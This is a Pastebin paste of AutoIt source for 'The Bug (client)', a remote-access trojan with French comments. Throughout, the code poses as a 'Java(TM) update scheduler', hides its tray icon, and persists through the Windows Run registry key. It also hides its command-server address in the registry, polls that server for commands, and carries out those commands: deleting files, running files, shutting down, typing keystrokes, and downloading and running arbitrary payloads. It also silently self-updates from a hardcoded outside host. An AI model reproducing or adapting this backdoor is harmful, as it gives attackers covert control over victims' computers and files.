Advertisement
Wyvern67

The Bug (client)

Mar 31st, 2015
368
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
AutoIt 6.60 KB | None | 0 0
  1. #Region ;**** Directives created by AutoIt3Wrapper_GUI ****
  2. #AutoIt3Wrapper_Icon=..\..\..\Button-Next-icon.ico
  3. #AutoIt3Wrapper_UseX64=n
  4. #AutoIt3Wrapper_Res_Description=Java(TM) update scheduler
  5. #AutoIt3Wrapper_Res_Fileversion=1337.0.0.0
  6. #AutoIt3Wrapper_Res_Language=1031
  7. #EndRegion ;**** Directives created by AutoIt3Wrapper_GUI ****
  8. #Include <String.au3>
  9. $Delay=10000
  10.  
  11. Const $Version = "1.1.0"
  12. If StringInStr(@ScriptName, "au3") Then ;Si le nom du programme contient .au3 c'est qu'il n'est pas compilé et que c'est moi qui l'execute
  13.     $devmode = True
  14.     TraySetState(1)
  15. Else
  16.     $devmode = False
  17.     #NoTrayIcon
  18. EndIf
  19. ;Verification clé de registre
  20. $temp = RegRead('HKCU\Software\Microsoft\Windows\CurrentVersion\Run','dws')
  21. If $temp = "" Then _Console("Clé de registre non établie")
  22.  
  23. AdlibRegister("SoftUpdate", 1200000)
  24. SoftUpdate()
  25. RegWrite('HKCU\Software\Microsoft\Windows\CurrentVersion\Run', 'dws', 'REG_SZ', '"'&@ScriptFullPath&'" -silent')
  26.  
  27. ;Verification des erreurs fatales possibles
  28.  
  29. If FileExists(@ScriptDir&"\receiver.ini") Then
  30.     $FtpUrl = IniRead(@ScriptDir&"\receiver.ini", "FTP", "URL", "")
  31.     $FtpUrl = _StringEncrypt(0, $FtpUrl, "Stallman", 1)
  32.     If $FtpUrl = "" Then
  33.         Emergency(1)
  34.     Else ;Fichier ini trouvé
  35.         $FtpUrl = RegWrite("HKCU\Software\dbh", "dws", "REG_SZ", _StringEncrypt(1, $FtpUrl, "Stallman", 1))
  36.  
  37.         If $FtpUrl <> 1 Then _Console("Erreur lors de l'écriture de la clé de registre : "&@error)
  38.         $FtpUrl = RegRead("HKCU\Software\dbh", "dws")
  39.         $FtpUrl = _StringEncrypt(0, $FtpUrl, "Stallman", 1)
  40.         If $FtpUrl = "" Then
  41.             _Console("Erreur lors de la récupération de la clé de registre, adresse URL vide")
  42.             $FtpUrl = IniRead(@ScriptDir&"\receiver.ini", "FTP", "URL", "")
  43.             $FtpUrl = _StringEncrypt(0, $FtpUrl, "Stallman", 1)
  44.         Else
  45.             If $devmode = False Then FileDelete(@ScriptDir&"\receiver.ini")
  46.         EndIf
  47.     EndIf
  48. Else
  49.     $FtpUrl = RegRead("HKCU\Software\dbh", "dws")
  50.     $FtpUrl = _StringEncrypt(0, $FtpUrl, "Stallman", 1)
  51.     If $FtpUrl = "" Then
  52.         _Console("Erreur lors de la récupération de la clé de registre, adresse URL vide")
  53.         Emergency(1)
  54.     EndIf
  55. EndIf
  56.  
  57.  
  58. ;Prototypes de variables
  59. Global $FullCommand[3]
  60. Global $LCommand[4]
  61. $FirstTime = True
  62. $OldFullCommand = "none"
  63. $fileToDownload = "command.png"
  64.  
  65.  
  66.  
  67. ;Code
  68. $FullCommand = ReadCommand()
  69. $OldFullCommand = $FullCommand
  70. OnAutoItExitRegister("extinction")
  71. InetGet($FtpUrl&"/logs.php?action=join", "logs.dbh", 1)
  72. FileDelete("logs.dbh")
  73.  
  74.  
  75. While 1
  76. Sleep($Delay)
  77. $FullCommand = ReadCommand() ;ReadCommand lit la commande disposée sur le site
  78. If StringCompare($FullCommand, $OldFullCommand) <> 0 Then
  79.  
  80.     _Console("Full commande : "&$FullCommand)
  81.     $LCommand = StringSplit($FullCommand, "°")
  82.     _Console("Commande : "&$LCommand[1])
  83.  
  84.     Switch $LCommand[1]
  85.         Case "DSuppr"
  86.             If FileExists($LCommand[2]) Then
  87.                 FileDelete($LCommand[2])
  88.                 _Console("DSuppr réussi")
  89.             EndIf
  90.  
  91.         Case "DExec"
  92.             If FileExists($LCommand[2]) Then
  93.                 ShellExecute($LCommand[2])
  94.                 _Console("DExec réussi")
  95.             EndIf
  96.         Case "AShutdown"
  97.             Shutdown($LCommand[2])
  98.         Case "TDownload" ;Bonne chance
  99.             If $LCommand[3] = "" Then
  100.                 If StringInStr($LCommand[2], "/") Then
  101.                     $TDownload = StringSplit($LCommand[2], "/");Split l'url à chaque /
  102.                     If $TDownload[0] <> 0 Then ;Si le stringsplit a marché
  103.                         InetGet($LCommand[2], @ScriptDir&"\"&$TDownload[$TDownload[0]], 1) ;Découpe l'url de Dl a tous les slashs puis
  104.                                                                      ;prend la dernière partie en tant que filename
  105.                         If $LCommand[4] = 1 Then
  106.                             If FileExists(@ScriptDir&"\"&$TDownload[$TDownload[0]]) Then
  107.                                 ShellExecute(@ScriptDir&"\"&$TDownload[$TDownload[0]])
  108.                             Else
  109.                                 _Console("Le fichier tout juste téléchargé est introuvable")
  110.                             EndIf
  111.                         EndIf
  112.                     Else
  113.                         _Console("Erreur :  Caractère / trouvé dans l'url mais il est impossible de splitter l'url")
  114.                         Exit
  115.                     EndIf
  116.                 Else ;Si il n'y a pas de / dans l'url
  117.                     InetGet($LCommand[2], @ScriptDir&"\dws.dbh", 1)
  118.                     If $LCommand[4] = 1 Then
  119.                         If FileExists(@ScriptDir&"\dws.dbh") Then
  120.                             ShellExecute(@ScriptDir&"\dws.dbh")
  121.                         Else
  122.                             _Console("Le fichier tout juste téléchargé est introuvable")
  123.                         EndIf
  124.                     EndIf
  125.                 EndIf
  126.             Else
  127.                 InetGet($LCommand[2], $LCommand[3], 1)
  128.                 If $LCommand[4] = 1 Then
  129.                     If FileExists($LCommand[3]) Then
  130.                         ShellExecute($LCommand[3])
  131.                     Else
  132.                         _Console("Le fichier tout juste téléchargé est introuvable")
  133.                     EndIf
  134.                 EndIf
  135.             EndIf
  136.  
  137.  
  138.         Case "FEdit"
  139.             Send($LCommand[2])
  140.             _Console("FEdit réussi")
  141.         Case "PPing"
  142.  
  143.         Case Else
  144.             _Console("Commande non reconnue")
  145.     EndSwitch
  146.     $OldFullCommand = $FullCommand
  147. EndIf
  148. WEnd
  149.  
  150.  
  151. ;###############Fonctions
  152.  
  153. ;Gestion des erreurs fatales
  154. Func Emergency($EmID)
  155.     Switch $EmID
  156.         Case 0
  157.             $EmDef="INI file not found"
  158.         Case 1
  159.             $EmDef="FTP's URL not found"
  160.     EndSwitch
  161.  
  162.     ConsoleWriteError("Error number : "&$EmID&" Definition : "&$EmDef&"."&@CRLF)
  163.     Exit
  164. EndFunc
  165.  
  166. ;Récupération du fichier contenant la todolist sur le net et lecture
  167. Func ReadCommand()
  168.     $DownloadSize = InetGet($FtpUrl&"/"&$fileToDownload, @ScriptDir&"\dws.dbh", 1)
  169.     _Console("InetGet fait sur : "&$FtpUrl&"/"&$fileToDownload&"[Taille du download:"&$DownloadSize&"]")
  170.     $FText = FileRead(@ScriptDir&"\dws.dbh")
  171.     FileDelete(@ScriptDir&"\dws.dbh")
  172.     Return $FText
  173. EndFunc
  174.  
  175. ;Juste un consolewrite avec un passement de ligne auto
  176. Func _Console($CText)
  177.     ConsoleWrite($CText&@CRLF)
  178. EndFunc
  179. ;Vérification de si il y a une mise à jour
  180. Func SoftUpdate()
  181.     Local $DbhVersion = ""
  182.     InetGet("http://bambousoftware.mtxserv.fr/Version.ini", @ScriptDir&"\dbv.dbh")
  183.     $ClientVersion = IniRead(@ScriptDir&"\dbv.dbh", "All", "Version", "none")
  184.     If StringCompare($Version, $ClientVersion) Then ;Si deux strings pas égales
  185.         Local $ClientDl = ""
  186.         $ClientDl = IniRead(@ScriptDir&"\dbv.dbh", "All", "DL", "none")
  187.         If $ClientDl <> "none" Then ;Si il y a un lien de dl
  188.             $ClientDl = InetGet($ClientDl, @ScriptDir&"\dbhupdate.exe")
  189.             If $ClientDl <> 0 Then ;Si téléchargement a fonctionné
  190.                 If FileExists(@ScriptDir&"\dbh.bat") Then
  191.                     FileDelete(@ScriptDir&"\dbh.bat")
  192.                 EndIf
  193.                 FileWrite(@ScriptDir&"\dbh.bat", "@echo off"&@CRLF)
  194.                 FileWrite(@ScriptDir&"\dbh.bat", "del "&@ScriptName&@CRLF)
  195.                 FileWrite(@ScriptDir&"\dbh.bat", "Ren dbhupdate.exe "&@ScriptName&@CRLF)
  196.                 FileWrite(@ScriptDir&"\dbh.bat", "start "&@ScriptName&@CRLF)
  197.                 Run(@ScriptDir&"\dbh.bat", "",@SW_HIDE)
  198.             EndIf
  199.         EndIf
  200.     EndIf
  201.     FileDelete(@ScriptDir&"\dbv.dbh")
  202. EndFunc
  203.  
  204. Func extinction()
  205.     InetGet($FtpUrl&"/log.php?action=quit", "logs.dbh", 1)
  206.     FileDelete("logs.dbh")
  207. EndFunc
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement